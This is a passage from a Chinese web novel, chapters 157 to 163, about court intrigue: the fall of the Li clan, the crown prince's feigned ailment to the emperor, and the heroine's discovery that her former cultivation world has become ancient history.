走出李国公府,林倾月回头望向那两扇朱漆大门。厚重门板似载着千年底蕴,却掩不住内里腐朽。
纵然祖先荣耀,功劳盖天,可后代作恶岂能被姑息?
她唇边浮起一丝冷冽弧度:“李家,该亡了。”
谋逆乃滔天大罪,东方起不再容情,当即命侍卫围了国公府,禁止任何出入,只押着李国公往皇宫去。
赵国公刚踏出府门想悄悄溜走,就被东方起叫住:“赵国公留步,今日之事诸位皆是人证,还请随本宫入宫。”
赵国公、崔国公与东方宴只得一同随行。
东方宴本想拉拢李国公对付太子,没想到盟约未订,对方先栽了,心
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中暗骂其成事不足。
他抬眼时,正见东方起与林倾月并肩而行,两人低声交谈。
林倾月唇边含着笑意,眉眼弯弯,瞧着明媚又温婉。
东方宴看得心头火起,猛地上前两步:“爱妃!”
林倾月唇边笑意瞬间敛尽,眸光转冷:“晋王自重!称我朝澜亲王,或林副使。再喊错,我不介意让你再成哑巴。”
“好,朝澜亲王。”东方宴强压着心**气,放缓声音,“方才你在地下受了惊吧?若身体不适便别骑马了,本王已让人备专门为你备好了马车。”
林倾月翻身上马,对东方起道:“走吧。”
“倾月……”
“啪!”林倾月一记鞭子抽来,“倾月也不是你能唤的,不长记性的狗东西!”
鞭子骤然落下,东方宴肩头顿时绽开血痕,鞭尾扫过下巴,血珠当即滚落。
他痛得闷哼一声。
赵安急上前护主:“王妃!王爷待您不薄,怎能仗着宠爱……”
“啪!”又一鞭抽在赵安身上。
“喊错了。”林倾月声音冰寒,“本王已非你家王妃。滚开,好狗不挡道!”
话音未落,她喝声“驾”,马匹猛地冲出去。
东方宴慌忙躲闪,才没被撞翻。
东方起骑在马上,居高临下地瞥他:“晋王,不该再招惹不属于你的人。”
“什么叫不属于本王?”东方宴冷哼,“难道太子还有拾人破鞋的癖好?”
话音刚落,脸颊猝然挨了一鞭。
东方起收鞭淡淡道:“抱歉,本想打马,你偏把脸凑过来,失了准头。”
“东方起!”东方宴捂着脸暴跳,“吾乃亲王,你敢羞辱我?定要去圣上面前告你!”
东方起睬都未睬,一扬马鞭追向林倾月。
“王爷……”赵安急忙拿出止血药,要替东方宴上药。
东方宴猛地挥开他的手,药粉撒了一地。
他捂着流血的脸颊,眼神狠戾:“不必!就这模样进宫,让圣上瞧瞧,太子是何等跋扈!”
第158章 真的,睡错人了?
皇宫。
齐昭帝一言不发地听着禀报,整个大殿里都充斥着紧张的氛围。
等他看到那一方刻着“受命于天,既寿永昌”的红玉时,眉眼都是难掩的怒火。
“这是国公当腻了,想夺朕的龙椅?李国公,你好大的胆子!”
“来人,拟旨:即日起罢黜李信国公之位,打入天牢;李氏嫡系子弟一律罢官受查。令崔国公为调查特使,文武百官及全国百姓,凡知李氏违法之事,均可举报。”
“陛下,臣冤枉,冤枉啊!”
李国公还想为自己争辩,齐昭帝根本不给他机会,吩咐侍卫把人给拖了下去。
赵国公看着帝王动了雷霆之怒,也跟着胆战心惊。
偏偏今日,他又是见证者,没办法替李国公求情。
东方宴也知道李家应该是没救了,便不再掺和这趟浑水。
只是等到大事都处理完后,他故意当着齐昭帝的面,摸了摸自己的脸颊。
齐昭帝就顺口问道:“晋王,你脸上的伤是怎么回事?”
东方宴顺着话头,开始告状:“臣因见朝澜亲王和太子过往甚密,一时心头不快,便问太子是否对臣的前妻有意。太子遂勃然大怒,当众抽打臣的脸面。”
齐昭帝的目光转向东方起:“是这样吗?”
林倾月正要说话,东方起抢先一步承认:“是。儿臣一时冲动,请父皇降罪。”
齐昭帝道:“太子行为不当,罚一年俸禄。请御医,给晋王医治伤口,再有下次严惩不贷。”
一年的俸禄对东方起来说根本不算什么。
东方宴也知道齐昭帝护犊,不可能会降下什么实质的处罚。
而他告状的真实目的,是想让齐昭帝知道,太子和林倾月的关系已经开始越界了。
果然,接着就听齐昭帝道:“若无旁的事情,除了太子之外,其余人等都退下。”
走出殿门的时候,东方宴忍不住回眸看了殿内:太子正垂着头听训话,而齐昭帝满脸都是怒容。
——东方起身为太子你很得意是不是?可你莫忘了,越是高位之上,越是不得自由。
“东方宴。”林倾月的声音,在他身后响起。
东方宴的声音也带了几分冷意:“朝澜亲王有何指教?”
哪怕他再喜欢林倾月,可接连被辱,他也不会完全没有脾气。
林倾月道:“你今早给我送的那东西,我已烧掉。下次若再送乱七八糟的污秽之物,我就把你的王府给烧了。我不是东方起,没有那么规条约束。”
“你说那条亵裤?”东方宴压低了声音,戏谑地道,“那可是我们欢好的见证,你怎么忍心烧毁呢?”
林倾月道:“东方宴你还真是蠢得无可救药。那东西,怎么可能是我的?”
“事实上,我早就知道你在酒里给我下了迷情酒。所以,我自然不会中计,顺手就调换了杯里的酒。离开晋王府后就直接去了天香楼。那迷情酒,后来是谁喝了呢?”
她故作疑惑地皱了皱眉,忽然又笑开了:“该不会是你喝了吧?你喝了酒,中了**?”
东方宴的脸色难看至极:“你说什么?你没有,那是昨日是谁和本王……不可能!你已经是本王的女人了,别以为你这样说就可以抹消事实!”
“就凭你那些下三烂的手段,也妄想让我中招?你若不相信的话,不如去问我门口的守卫,我出去的时候天色还早。若是真中了**,不会那么快全身而退。”
东方宴不愿相信这些事实,可又知道她说得确实在理。
昨日,他喝下酒的时候天还亮着,醒来之后时间已过去了整整两个时辰,殿外一片漆黑。
当时他自以为得到了林倾月,光顾着高兴,根本没有去查问门口的守卫林倾月是什么时候离开。
若昨晚,和他翻云覆雨的人不是林倾月,那又会是谁呢?
那条染血的亵裤到底是谁的?
林倾月幸灾乐祸地笑着:“晋王殿下愣着做什么?还不快回去寻找你的新王妃!”
“也不知道到底是哪位天命之
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女,那么倒霉被你给宠幸了。你可千万记得对人家好些,毕竟遭了这场大罪挺不容易的,不是吗?”
东方宴恨恨地道:“林倾月,就算本王得不到你,也绝不会让太子得到!”
说罢转身离去,走的时候步子都踉跄了一下。
回到王府之后,他立刻就召来那晚的守门侍卫。
一问之下得知,昨日傍晚天还没黑,林倾月就离开了王府,策马而去再没回来。
所以,林倾月说的是真的。
他真的,睡错人了?
“赵安!”东方宴的脸色阴沉得可怕,“昨晚,你不是一直守在栖梧殿外吗?”
赵安战战兢兢地跪下回话:“奴才一开始是悄悄跟在王妃身后。可王妃走得太快,一眨眼人就不见了。”
“等奴才再回来的时候,栖梧殿的殿门已经关上。王爷您在里面……奴才,奴才以为王妃去而复返。毕竟她一向神出鬼没的……万万没想到……王爷恕罪,奴才该死!”
赵安一个劲地打自己的脸,打得脸都红了。
东方宴淡淡地道:“既知该死,还有何颜面让本王恕你的罪?”
“咣当!”剑光闪过,跟随多年,一向忠心耿耿的赵安,被东方宴斩于剑下。
“把王府所有的奴婢都抓来审讯,到底是哪个贱奴……”
忽然,他似乎想到了什么,改口道:“把林如珍带来!”
当初,就是林如珍冒名顶替,害得东方宴和林倾月有情人不能成眷属。
后来,为了早日登上王妃之位,她给东方宴下了药。
结果阴差阳错,让林倾月当了晋王妃。
所以,昨晚李代桃僵,和东方宴**好的事,她也绝对干得出来。
不多久,侍卫去而复返,禀报说林如珍失踪了。
这一失踪,越发坐实了林如珍的嫌疑。
该死的**!
此刻,东方宴深深后悔没有一剑杀了她。
“找!”东方宴咬牙切齿的道,“本王就不信,那**还能一直不露面!”
第159章 太子坦白了
与此同时,东方启正在皇宫里接受齐昭帝的盘问。
“你是为了林倾月和晋王动的手?”齐昭帝叹了口气,“朕居然没有看出来,你对林倾月怀有那样的心思!”
倒不是他眼拙,只是他觉得自己的儿子是天之骄子,林倾月纵然有几分姿色,也已经嫁过人了。
嫁的还是东方起的堂兄!
“她可是你的兄嫂啊,你怎可……”
东方起忽然抬头,倔强地看向自己的父亲:“父皇,他们已经和离了。她也不再是我的嫂子。”
“你!荒唐!”齐昭帝后知后觉地道,“难怪你要给他那么高的身份,更为了她和离的事情操碎了心!”
"你真是糊涂啊糊涂!不论她是否和离,终归是再嫁之女,如何配得上你?还是说你准备,将她纳为侧室?可她那样桀骜不驯的人,又封了王,如何肯屈尊?"
“侧室自然不合适。她若愿意,儿臣会明媒正娶。”
“这是明媒正娶的事吗?你是太子,将来的一国之君。”
“你的心思应该放在国事上,而不是被美色耽误!”
“不管是将来立后,还是册立妃嫔,目的都是为了巩固权力、繁衍后嗣。”
“父皇,”东方起对这番话并不认可。
“当初你和母后也是青梅竹马,感情甚笃。”
“可后来您为了争位,娶了许多后妃。而母后,也要帮你治理后宫,管理那些莺莺燕燕。”
“旁人只看到母后表面上的大度贤惠,可儿臣却有好几次,看到她在背后默默垂泪。”
“若不是一直积郁在心,她又怎会早早病逝?”
“而父皇您,你拥有后宫佳丽众多,可她们爱不过是你手上的权利。却再没有一人能如母后那样真心爱您。父皇,您真的快乐吗?”
齐昭帝冷了脸:“你莫要以为抬出你母后,就有用了!”
东方起道:“儿臣知道没用。只是少年时看多了后宫钩心斗角,以至于对其他女子再提不起一丝一毫的兴趣。父皇还能有子嗣,儿臣却时常担心自己恐怕会断了香火。”
“你说什么?”齐昭帝大惊失色。
“你都尚未娶亲,何至于给自己抹黑?”
东方起道:“不是抹黑,而是曾如此怀疑。儿臣如今都已经22岁了,可对旁的女人,真的提不起兴趣。否则也不会多次拒绝立妃之事。唯有……”
他顿了顿,目光中流露出几许温柔:“唯有昭澜亲王,让儿臣觉得与众不同。”
别的事情还好,可关乎到子嗣,齐昭帝可不敢大意。
他赶忙道:“你先别如此武断,朕让太医给你瞧瞧。万一有什么也可以及时调理。”
齐昭帝早些年生伤了身,以至于子嗣不昌,只留下太子这一个血脉。没想到儿子也要面对这样的情况,他当然着急无比着急。
又担心,东方起是为了林倾月,故意那么说。所以,立刻就要召集太医过来诊治。
要做检查的时候,齐昭帝还忧心忡忡地在旁边盯着看。
东方起扭捏地道:“父皇,这等私事,儿臣实在羞于启齿。还请父皇给儿臣留些颜面。”
齐昭帝:“我是你生身之父,有什么好扭捏的?”
东方起说:“那儿臣还是不瞧了。”
齐昭帝没办法,只好从内室退开,只是临走之前对太医道:“仔细诊治,若有任何差池,小心你的九族!”
太医战战兢兢地应了。
给太子看诊的是太医院的院首,姓陆。
陆院首恭敬地道:“请太子殿下宽衣。”
东方起冷冷地瞥了他一眼:“陆征,听说太医院的御用草药供给,都是你亲自指定?”
陆院首道:“是的,太子殿下。所有的药草都是给宫里各位主子调理身子的,品质必须要严格把握。为此,每批药草入库的时候,微臣都会亲自检验品质,确保万无一失。”
东方起轻笑:“是确保万无一失,还是确保油水都能进入到你的口袋?”
“太子殿下……”陆院首赶忙跪下,要为自己辩解。
东方起道:“不必狡辩,本宫若无证据,怎会空穴来风?纵然你医术再高,**之罪一旦定下,你该知道后
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果如何。”
陆院首磕头:“殿下饶命!”
东方起道:“这一次,本宫可以帮你遮掩,若有下次罪不容恕。另外……”
他顿了顿,才继续道:“……等一下我父皇问起你本宫的病症,需得按照本宫说的交代。”
陆院首不是蠢笨的人,立马也听懂了太子的意思。
“可是太子殿下,欺君是大罪!何况刚才,陛下已经警告过微臣,微臣实在不敢拿九族冒险啊!”
东方起道:“你的九族,本宫承诺替你保下。”
不多久,陆院首和东方起从内室出来。
齐昭帝急忙询问:“太子殿下身体如何?”
陆院首跪下答话:“殿下情况有些特殊,应是思虑过重,郁结在心,导致气血两虚,宗筋失养。纵有念想。纵有念想,那处也软绵无力,恐无法行人伦之事。”
前头一系列乱七八糟的话,齐昭帝听得一知半解,唯有最有一句“恐无法行人伦之事”,他完全听懂了。
“所以,太子当真……”他又急忙追问,“可有办法医治?”
陆院首道:“太子此乃心病,心病还需心药医治,只有自我疗愈,放松心情,化解郁结再慢慢蕴养气血,或许有一成机会恢复。”
“只有一成?”齐昭帝一颗心都要揪起。
自己唯一的儿子,大齐国的太子,未来的国君,却是个无法行人伦之事的人。那岂不就是断了香火?
“陆征,朕不管你用什么办法都必须要治好太子的隐疾!否则,朕要你提头来见!”
陆征冷汗透衣,浑身颤抖。实在搞不懂,太子为什么要往自己头上扣这种屎盆子?
偏偏他有把柄在太子手上,不得不配合演戏。
此刻,哪怕明知欺君也只能硬着头皮回答:
“人之欲念,由心而起。有心无力,最是难解。纵然医神在世,也只能治标而治不了心。”
“为今之计,只能一方面调补气血,另一方面,让太子打开心结,早日觅得能令其心动的良人。或许如此,便能冲破一切阻碍,绵延子嗣。”
第160章 李家覆灭
齐昭帝又问了几个问题后,让陆院首下去准备调补的方子。
当殿内没有外人在的时候,齐昭帝如果寻常人家的父亲一样,满眼惋惜又心疼地看着东方起:
“好端端的,怎么会思虑过重?是朕给你的压力太大?还是你母亲的事叫你郁结难解?”
东方起对于欺瞒之事,难免有些愧疚,尽力安慰老父亲:“父皇不用过于忧心,也许以后慢慢也能好。”
齐昭帝叹了口气,想到自己当年对妻子的辜负,如今儿子又屡屡遭难,属实心疼:
“起儿你放心,父皇不管付出什么代价,一定会医治好你。”
他顿了顿又问:“陆征说,心病还需心药医。你对其他女子无感,对那朝澜亲王另眼相看,所以她才是你药?”
东方起不敢表露得太多,免得让齐昭帝看出端倪。
“朝澜对儿臣有救命之恩,又朝夕相处过几个月。和她在一起的时候,儿臣整个人都觉得无比放松。当儿臣和她漫步在北疆的草原上时,看着满天的繁星,踩着松软的草地,体会到了岁月静好。”
“儿臣那时就想,若是世上能有一生一世一双人,或许就是这样的吧?”
“儿臣不知道自己的隐疾是否还有药可医,但若有,一定是她。”
他说着,却又无奈苦笑:“不过她一直将儿臣视为朋友,暂未有多余想法。若是父皇执意认为我和她不合适,儿臣也愿意听从父皇的话,就此作罢。”
“父皇也该想开一点。子嗣有没有也不打紧,反正还有许多堂兄。大不了将来从他们那儿过继一个后嗣就是了,总归是皇族血脉,对先祖而言没什么区别。”
“怎会没区别?”东方起以退为进,齐昭帝果然急了。
“若让旁支子嗣承继大统,其生父在世便要尊为太上皇,纵是不在了,也定会追尊帝号。届时太庙之中,你我父子的牌位,怕是要被挤到最末的角落里,连四时香火都要被分薄了!”
东方起叹气:“是儿臣不争气。”
到了这一步,齐昭帝哪怕再不情愿,也不好用强硬手段逼迫儿子,免得适得其反。
他摆了摆手,道:“罢了罢了,你的婚事父皇可以暂时不管。但你的身体关系国本,千万要配合太医整治!”
东方起顺从地道:“是。”
个人私事先摆在一旁,齐昭帝又询问起了李国公的事情。
“你这次真是胡闹!李国公在朝中党羽众多,你居然敢给他栽赃,让他落一个谋逆之罪!”
东方起问道:“父皇您看出来了?那您怎么……”
齐昭帝冷哼:“朕能怎么办?吾儿能干,都敢对门阀世家下手,朕若是不帮你一把,难道要等着李家反扑?”
“只是起儿啊,一个李家倒下,但其他几个世家必会有唇亡齿寒之危。若是那些世家大族联合起来,即便我们身为皇族,也会难以招架。”
东方起道:“父皇放心,他们不会联手。”
齐昭帝问:“哦,你何以如此笃定?”
东方起便给他分析:“八大世家,以崔、李、赵、顾、骆,五家为大,其余三家则都是墙头草。骆家家主是儿臣的亲舅舅,自然会支持儿臣。”
“李家一倒,余下的就是崔、赵、顾。”
“崔国公拥护皇室。顾国公态度虽然不是甚明朗,但顾家有一个旁支,虽算不得顶级门阀,却是我们大齐的皇商,财力惊人。这些年来顾家,也一直依赖着个旁支的财力支持。”
“而这个旁支如今的当家人叫顾念安,先前受过朝澜亲王的恩惠。所以,我们可借其力,拉拢顾国公。至少让顾国公也在李国公事件中保持中立。”
“如此以来,骆、崔、顾三家不挑事,单凭一个赵家,也都不足为惧。”
齐昭帝细细思索一番,点头:“父皇还以为你只是一时冲动,才对李家下手。没想到你已经考虑得这样周全,不错不错!”
可转瞬间,他又板下脸训斥儿子:“我听说,你居然用自己的前程和李家人打赌?”
“就算再有把握,也不该拿你的前途做筹码!”
“万一真有个什么意外,你要怎么办?难道还真为了这点小事,下罪己诏退位不成?荒唐!”
东方起道:“父皇不用忧心,儿臣既然敢跟他们赌,当然是有必胜的把握。李家已是毒瘤,越早拔除越
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好。若瞻前顾后,放任毒瘤长大,则祸害更深。当然……”
他笑了笑,略带得意地道:“当然最主要的是,儿臣有父皇做靠山。不管什么时候,父皇都会为儿臣解决后顾之忧!”
“你就是依仗着朕宠着你!”齐昭帝白了他一眼,不耐烦地摆手:“事已至此,朕自然会替你收尾。但你切记,以后绝不可如此冒险!”
“是,父皇!”
齐昭帝要替儿子收尾,早就已经想好了对策。
他先是下令鼓励民众检举李国公的罪行。
于是,那些深受李家欺辱的官员和民众,纷纷上表揭发。
从**圈地到草菅人命,再到买卖官爵,所犯罪行令人发指。
位高权重的人,又有几个是干净的?皇帝若是打定主意,想要铲除李家,自然就要将他们彻底按死,不给任何翻身机会!
尤其这些年,齐昭帝也屡屡受到世家的掣肘,自然是新仇旧恨一起算。
数罪并罚之下,李家上下**的杀、流放的流放,屹立不倒了上千年的家族,在短短几个月间树倒猢狲散。
虽说各大世家,对李家谋反的事持怀疑态度。
可以崔国公、骆国公为首的两位世家大族,都保持缄默。连顾国公也是一副事不关己高高挂起的模样。
赵国公虽然有心挑拨,但其他的世家们不敢再轻举妄动,生怕会祸连己身。
除此之外,李家安排在玄镜司的奸细也被找出。
那人名叫王显,原本是一名民间的捉妖师,有些本事,所以被选入玄镜司当差。
王显后被李家人贿赂,成为李家的棋子。
谢守正对此十分愤怒,亲自将人捉拿归案,并彻查玄镜司上下,避免再出现此类叛徒。
而红瑶在此事件中,再次立功。
东方起就做了顺水人情,功过相抵,免去了红瑶先前的罪行。
虽然说红瑶彻底恢复了自由身,可她已无亲人在世,茫茫人海无处安身。
最后她到了林倾月跟前,毛遂自荐:“请小姐,留红瑶在您身边吧。小姐几番出手相救,再造之恩无以为报,只希望以后能为小姐端茶送水,聊表心意。”
第161章 给红瑶一个走正途的机会
林倾月从袖口里掏出一只白玉簪子,簪在红瑶的发间。
“这簪子是你之前就很喜欢,所以我替你拿回来了,果然你戴着好看。”
“红瑶,我身边并不缺伺候的人。你一身本事,给我做个端茶送水的丫头,未免大材小用。”
“你若愿意,我可引荐你入玄镜司,也算是一条正途。”
红瑶听罢简直不敢相信:“我……可以吗?可我,我曾经犯过罪……”
林倾月笑道:“犯错过罪没错,可你屡次立功,太子都亲口说过功过相抵了,就不会再将你区别对待。”
红瑶当即感动得红了眼眶,跪下磕头:“多谢,多谢小姐!”
林倾月微微一笑:“以后,你该称呼我为林副使了。”
当日红瑶被追杀,逃到第七街坊,她本可以继续潜藏再寻机逃走。但为了不连累坊间居民,宁愿自己被抓。由此可见她本性不恶。
所以林倾月才愿意给红瑶一个走正途的机会。
很快,红瑶就补了叛徒王显的空缺,正式成了玄镜司的一名司卫。
玄镜司的案子虽然多,但大部分时候都是一些小事。
红瑶是个勤奋的人,体力又好,一天到晚忙个不停,丝毫不嫌累。
入职后的第一个月,她就成了整个玄镜司办理案子最多的人,把谢守正都给比下去了。
谢守正开始还为有个得力的帮手,沾沾自喜。
有一天,当他听到红瑶对林倾月说:“我不累,多跑些案子多立些功劳,说不定将来也能像林副使您一样,混个官身。”
谢守正寻思:玄镜司组织结构简单,只有正使和副使两个正式的官职。
红瑶想要当官,当什么官?莫非想占本官的位置?
于是,一生好强的谢大人感受到了深深的危机,每天抢着去办案,暗暗和红瑶较劲。
如此以来,林倾月就相对清闲了些,每天准点下差回家,给东方起当师父,教授他符箓之术。
起初两次,谢守正还陪着东方起一道学习。后来光顾和红瑶较劲,每天忙得脚不沾地,居然连伴驾的时间都抽不出来了。
今日,看到东方起又是一个人登门。
林倾月开玩笑地说:“谢大人这是又把你甩了吗?哎,可怜的太子殿下。”
东方起倒是不在乎:“他有公务在身,随他吧。”
林倾月道:“当你的宠物还真是好命,简直宠到没边了。”
东方起笑道:“不提他了,我们开始吧。”
林倾月已经连续教了东方起一个月的符箓,常常被东方起的天赋给震惊。
初级的符箓且不用说,他看一眼就会画。
中级难度的,也临摹两遍就能像模像样。
而难度最高的符箓阵法,需要快速画出十几张符,然后结成阵法,再用灵力催动阵中威力。
除了画符的手法要快准狠之外,还有灵力的配合、阵法的运用等等,都十分考验个人能力。
而东方起也只是一开始受挫,练了几天之后,就能熟练掌握。
林倾月对东方起道:“照你这速度,不出三个月你就能出师了。”
东方起谦逊的道:“是你教得好。其实越到后面难度越高,我近来已经开始力不从心了,若是以后进步缓慢,你可别嫌弃。”
于是从那天开始,他果然进步缓慢。
前几天教的火阵符箓,他居然学了十多天都没学成。不是落符的角度不够好,就是灵力的调用有偏差。
今晚,火阵的力度没控制好,差点把林倾月的家给烧着了。
仓皇扑灭大火后,东方起深感歉意:“抱歉,抱歉,我下次注意!”
林倾月无奈的瞪了他一眼:“你真是不禁夸。上次才说你有天赋,最近就开始退步了。你需要好好反省一下,认真
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想想问题出在哪里。”
东方起道:“可能是最近太忙了,脑子有些不够用。”
说话间,他伸手按了按额头,做出一副疲惫的模样。
林倾月表面上训斥,心里暗暗舒爽:果然天赋不如我,至少我当年练火阵符箓的时候,可没有把房子点着。
“行了,先吃晚饭吧,吃完了再接着练。”
“好!”
饭菜都是大厨精心烹饪,色香味俱全。
两人一边吃饭,一边闲聊。恍惚间好像是一家人,亲密无间。
林倾月道:“对了,有个事我想找你帮忙。此间的史书,哪一套最为全面和真实。”
东方起停下筷子,问:“你怎么突然想了解齐国的历史?”
林倾月道:"不单单是齐国,最好是这个世界从最初到现在的历史。"
东方起越发疑惑:“为何忽然对这些事情感兴趣?”
林倾月可不是突然好学,而是从赤影之地之后,突然发现这个世界上修士、妖类比预想的更多。
虽然和自己当初的世界不能相提并论,却存在某些相似之处。
比如獍獍兽,栩栩狐、蜉蝣妖,这个世界有,修仙界也有。
再比如,太子能修**术法。李国公家有人偷练邪术。
这些巧合不由得让她怀疑,这个世界和修仙界到底存在怎样的关联?
而了解一个世界,最便捷的方法,就是先从历史开始着手。
东方起夹了一颗水晶虾仁给林倾月:“史书我可以帮你找,只不过你看起来会很花时间,一年、两年都未必能读完。你若想知道哪一段的历史,不如问我。”
他指了指自己的脑子,语带炫耀:“古往今来,所有的历史都在我脑子里装着。”
林倾月闻言,瞬间大喜:“是吗?那可太好了!那不如就从创世之初说起吧,也省得我花精力翻书本去。”
第162章 原来当年的自己,已成了历史
东方起便开始给她讲述这个世界最初的历史:
“创世有盘古开天、女娲造人。女娲造的第一批人,称为仙人。”
“仙人在女娲的带领下,开创了天地秩序,并划定山川河海的疆界,又将日月星辰嵌在天幕,教后来的凡人辨识四时。”
“而那些参与创世的仙人,也被后世之人尊为神明。”
“直到共工怒撞不周山,神明完成了使命飞升离去,留下了部分后裔。”
“这些人,也是人类中得天独厚的存在。他们能修**仙术,强大者有移山倒海之能。立于世界之巅,统治一切。”
“人都有贪欲,哪怕神明的后裔也不例外。他们占据了灵力充沛适合修仙的仙山福地,并用仙石为基石,和人类世界隔开,非允许不能靠近。”
“而下界的人类虽然渺小如蝼蚁,但也慢慢发展出了大大小小的国家。”
“再后来,不知是谁发现人类的信仰之力能提升修为。于是下界的人类便成为了那些修仙人士眼里的肥肉。”
“为了获得信仰之力,修仙者肆意制造天灾人祸,再以救世之神的姿态出现……”
当林倾月听到这些的时候,惊讶无比。这段历史,完全就是她曾经的见证过的一切。
所以,她不是穿越到了另一个世界,而是穿越到了后世很多年之后?
所以,她在修仙界经历过的种种过往,都成为了这个世界的历史?
东方起见她满脸诧异,问道:“很意外是吗?听起来,好像是传说对吗?”
“那段历史实为野史所载。正史仅记录女娲创世,未提混沌时代——那名号原是后世所起。”
“虽属野史,但我对比过多方记述,私以为其大概率不虚。尤其,至今世间仍有诸多术法、妖类留存世间,可为佐证。”
林倾月面色沉冷:“你继续往下说。”
东方起遂继续道:“据古籍所载,混沌时代,人们生活艰苦,但又十分迷信救世神明。宁可饿死家中幼儿,也要筹集钱款为神明镀上金身。”
“不论是天灾人祸,还是头疼脑热,皆求告神明。这般代代叠加,对神明的信仰刻骨入髓,成了灵魂里,难以磨灭的印记。”
“直到后来,修仙界用于收集信仰和隔离两界的仙石不知何故,突然崩塌。下界几十位位虔诚的国君才有机会突破屏障,来到仙人们的地盘。”
“可当他们一来到仙界,本以为登临极乐净土的时候,看到的却是和他们一样的凡夫俗子。”
“那些凡夫俗子们,还在谈论如何在下界作乱。”
“譬如假托河神之名,诱骗信众将稚龄少女充作祭品献上,供其淫乐。”
“又或是,诡称钱财乃身外之物、痛苦根源,唯有舍弃一切方能洗清罪孽,修得正果。如此一来,所谓神明使者便可堂而皇之搜刮信众钱财,却转身将金砖铺地、琉璃覆瓦,尽享奢靡之乐。”
“可当真相败露,凡民悲伤又震怒,终于意识到要反抗,不再信奉伪神。”
“然而,此举却触怒了那些修士,他们为立威儆众,随机选中一方小国,欲降下灭国之灾。”
“可后来,修仙界不知生出了什么变故,被派来降灾的修仙者仓皇离去。修仙界的各大世家宗门纷纷覆灭。少数残党也逃回下界躲藏,称有魔头降临,要降下灭世大灾。还宣称,从前仙人们的种种恶行,皆受此魔指使。”
“于是下界人心惶惶,生怕迎来更大的灾祸。”
“然而十几年过去,那传说中的魔头却并未踏足人间。而凡人,反而因为这十几年不再供养神明,得以休养生息,渐渐恢复了些许元气。”
“再后来,许多细节记载得不太详实,只笼统地概括了一句:‘后有上界仙人蛊惑民众,聚以成军,起兵驱魔,大业未成天降神火,皆寂灭。’”
说到这里的时候,东方起叹了口气:“有时候真觉得凡人可怜又可悲。当年真有魔君降临,可他未索取下界一分一厘,也
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不曾降下任何伤害,凡人们却轻易被蛊惑,举兵讨伐。”
“好在当时被蛊惑的只是其中一个小国,天降神火后,也跟着一起灭亡。若当初下界其他国家也跟着举兵,只怕也就没有后来了。”
林倾月此刻神情淡淡,原来那些年的腥风血雨,化作历史上的一粒墨点,再转述到自己这个亲历者耳中,竟然已经起不了任何波澜。
原来当年的自己,已成了历史。还是鲜为人知的野史。
东方起继续往下讲述:“此后,修仙者不复存在。个别天赋异禀者,也只是普通修士,或许有超脱常人的能力,却再也没有排山倒海、颠覆世界的能力。”
“天下分久必合合久必分。那些大大小小的国家又开始互相征伐混战,最后齐国统一,建立中原王朝。”
“后又有藩王作乱**齐国,再次进入混战的时期。直至如今,中原王朝演变成了齐、楚、丰,三国鼎立。”
“从混沌时代,到如今已经过去了三千年。”
“也许是之前被仙人奴役之故,后来的那些国家,都不约而同地打压异能者。妖族也被驱逐在主流之外。而那些修仙术法,也万不存一。即便偶有孤本,也无人能读懂。”
“月月,你是我见过的最厉害的修炼者。尤其是你这段时间教授给我的符箓之术,简直太过全面。你到底从何学来的?”
林倾月没有回答,皱着眉头消化着刚才得到的信息。
三千年了。对世人而言,时间长河滚滚流逝了三千年,世界的格局早已面目全非。
而对林倾月来说,不过只是眨眼之间。
不过野史上提到的天降神火又是什么?难道是自己最后在云宫点燃的红莲业火?
红莲业火虽然强大,但需要强大的灵力支撑才能燃烧。也就是说,当自己死去之后,红莲业火最多不过一个时辰就会熄灭,根本不足以带来寂灭整个修仙界的后果。
天降神火?莫非真是天上的神明在出手?
第163章 执念是彩礼
“月月,你在想什么?”
东方起在她眼前挥了挥手,林倾月才堪堪回神。
“你叫我什么?”她严肃地道,“我现在是你师父,你怎可如此没大没小?”
东方起道:“一时失言。只不过现在是私下里,我喊你林副使或者朝澜亲王,会显得太过正式。你我之间,尚未正式拜师,也不好喊你师父。你我本是挚友,喊你小名可以吗?”
林倾月也不是很重规矩的人,想想自己对东方起也是直呼其名,有时候甚至喊他小花。他也没有生气。
自己若是太过计较,未免落了下乘。
只是那一声“月月”,总是会让她想起故人。
可转念又想,三千年的时光都已经过去了,往事难追,何必太过计较一个称呼?
于是她摆了摆手,道:“算了,一个名字而已。你随便喊吧。”
最重要的是,她心里好像并不排斥。
“那我以后私下里就这么喊你了,月月。”东方起显得很高兴,米饭都多吃了一碗。
林倾月皱眉看他:“记得交伙食费。亲兄弟也得明算账!”
夜阑人静,漏断有谁听?
谢守正踩着三更的梆子声,回到自己的府宅休息。
他家的宅子是太子送的五进大宅,下人却很少。
家里只有一个做饭的老厨子,一个照顾他起居的老嬷嬷,还有一个看门的“老厮”,总共三个人。
这三人也是当年他被太子捡回东宫后,照顾过他的人,也知道他狼妖的身份。
谢守正念旧,用惯的人就不喜欢再换,随便吃了几口厨房给他留的饭菜,就去睡觉。
他的睡眠一向很好,几乎是倒下就睡,睡着就扯呼噜,嘴里还时不时发出几句呢喃:
“殿下,我不想离开东宫,小灰我只想当您一辈子的爱宠……”
“红瑶你闪开,不准抢本官的案子!”
“殿下……红瑶你……休想跟我抢太子……”
夜色已深,一个黑影从窗棂的缝隙里挤了进来,慢慢地在室内聚拢。
“呜呜呜呜……我好冷啊……呜呜呜……”
谢守正翻了个身,不耐烦地骂道:“谁在哭哭啼啼的?吵得本官不得安宁!”
忽然,他脊背一寒,猛然睁开的眼睛发出油绿的寒光。
“谁?”
他一个轱辘坐起来,刚才去在屋里的一团阴气却瞬间消失。
谢守正在屋里查看了一番,挠挠头,有点迷惑:
“奇怪,刚才在睡梦里怎么突然感觉到有鬼魂进来了?难道是有冤魂找本官诉冤?”
这种事情以前也不是没有发生过。
但不会像现在这样,突然出现又突然消失。
难道是错觉?白天稀奇古怪的案子见多了,产生的后遗症?
于是,心大的谢守正再度躺下去。
可刚刚沉入梦里,正在和他亲爱的太子殿下玩接球游戏,忽然又听到呜呜呜咽咽的哭声传入耳中。
他一个分神,太子抛来的球“砰”的一下砸中他的狼头。
“嗷呜!”谢守正惨叫一声醒来,再看周围又只有一片漆黑,什么都没有。
“你到底是谁呀?若真有冤屈快快现身,本官可替你陈冤!”
没有人回应,好像刚才的一切只是梦里的幻觉。
然而当他再度躺下的时候,呜呜咽咽的哭声又出现了……
第二天早上,一贯从不迟到的谢大人,难得的迟到了。
大米点完了卯,抬头看了一圈没看到谢守正,奇怪地问:“都到了上值的时间,谢大人怎么还没出现?”
红瑶正在和林倾月说话,闻言道:“是不是昨天晚上累到了,今天睡过了头?”
昨晚的案子,是谢守正和红瑶一起去处理的:
